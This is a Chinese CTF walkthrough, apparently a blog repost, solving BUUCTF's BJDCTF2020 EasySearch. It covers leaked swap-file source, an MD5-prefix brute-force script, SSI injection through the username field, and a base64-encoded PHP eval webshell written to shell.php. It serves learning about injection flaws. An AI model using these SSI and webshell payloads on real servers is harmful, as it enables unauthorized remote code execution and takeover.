当前位置: 首页 > news >正文

BUUCTF [BJDCTF2020]EasySearch1

写一篇文章来学习一下 ssi 注入 以及 dirmap 工具的使用

看到这两个框框没什么想法,边探索边扫下目录吧。显示前端报错,先禁用了js,然后又尝试抓了下包,没有发现什么,只好看看扫出来的目录了,最终扫出来了的:
index.php.swp (用dirmap扫出来的)

成功得到源码:

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

 

虽然两个都显示username,但只有第一个才是真正的$_POST[username]

看一下代码逻辑:

1.首先判断输入的password 的前6位是否为6d0bc1

2.如果满足的话就执行打开文件、写入文件、关闭文件的功能

但是我想着,最终是要读flag的,但这里的东西即使绕过了貌似也是读不到的(一开始我是这样想的,但后面接触了ssi注入,就想到在text这块会有注入)

先来绕过

一、脚本爆破password

from hashlib import md5


test='6d0bc1'
for i in range(100000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6]==test:
        print(i)

可以得到 password:2020666 

username不为空就行

最终在包中找到:
 

访问该路径,可以看到:

这里的123就是注入点了

二、ssi注入

ssi注入:服务器包含注入。ssi可以赋予html静态页面的动态效果,通过ssi可以执行相应的命令。

 ssi注入的格式为:

<!--#exec cmd="命令"-->

返回index.php尝试注入

成功访问到:
 

但这样一条条命令执行有些麻烦,尝试写入一句话木马

<?php @eval($_POST['cmd']);?>

 但直接传入是不行的,需要进行base64加密,所以payload就变成了

username=<!--#exec cmd="echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSkgPz4=|base64 -d> shell.php"-->&password=2020666 

回到index.php,先抓包,得到public下的路径,访问phtml执行代码,然后再试试public下的shell.php是否存在

此时已成功执行代码,访问shell.php

发现没报错,getshell

最终找到了flag

flag{4ea3197e-d677-4436-a0db-d53adaa9c131}

 

 

相关文章:

  • Android Flow 示例
  • Flutter 学习之旅 之 flutter 使用 flutter_screenutil 简单进行屏幕适配
  • 【算法】837. 连通块中点的数量
  • 后端-Java虚拟机
  • STM32引脚类型
  • 1.计算机基础知识
  • Milvus向量数据库部署
  • ?算法1-4 小A点菜
  • 解决DeepSeek服务器繁忙
  • 20250303-代码笔记-class CVRPTester
  • 【现代深度学习技术】卷积神经网络03:填充和步幅
  • BUU43 [BJDCTF2020]The mystery of ip 1
  • 通配符匹配在Redis中的实现
  • 爬虫不“刑”教程
  • c++ cout详解
  • 探秘虚拟与现实的融合:VR、AR、MR 技术的变革力量
  • 清华大学AI赋能医药代表销售培训讲师专家培训师唐兴通Deepseek医药数字化营销大健康数字化转型医药新媒体营销
  • 云平台 | 玩转单细胞比率可视化
  • yoloV5的学习-pycharm版本
  • T41LQ专为人工智能物联网(AIoT)应用设计,适用于智能安防、智能家居、机器视觉等领域 软硬件资料+样品测试
  • 是谁提议特朗普向好莱坞征税?
  • 巴方称印军发动24起袭击,巴境内6处地点遭袭致8人死亡
  • “五一”假期银联、网联共处理支付交易234.39亿笔
  • 贵州省委省政府迅速组织开展黔西市游船倾覆事故救援工作
  • 工程机械行业景气度持续回升,三大龙头一季度营收、净利双增
  • 准80后遵义市自然资源局局长陈清松任怀仁市委副书记、代市长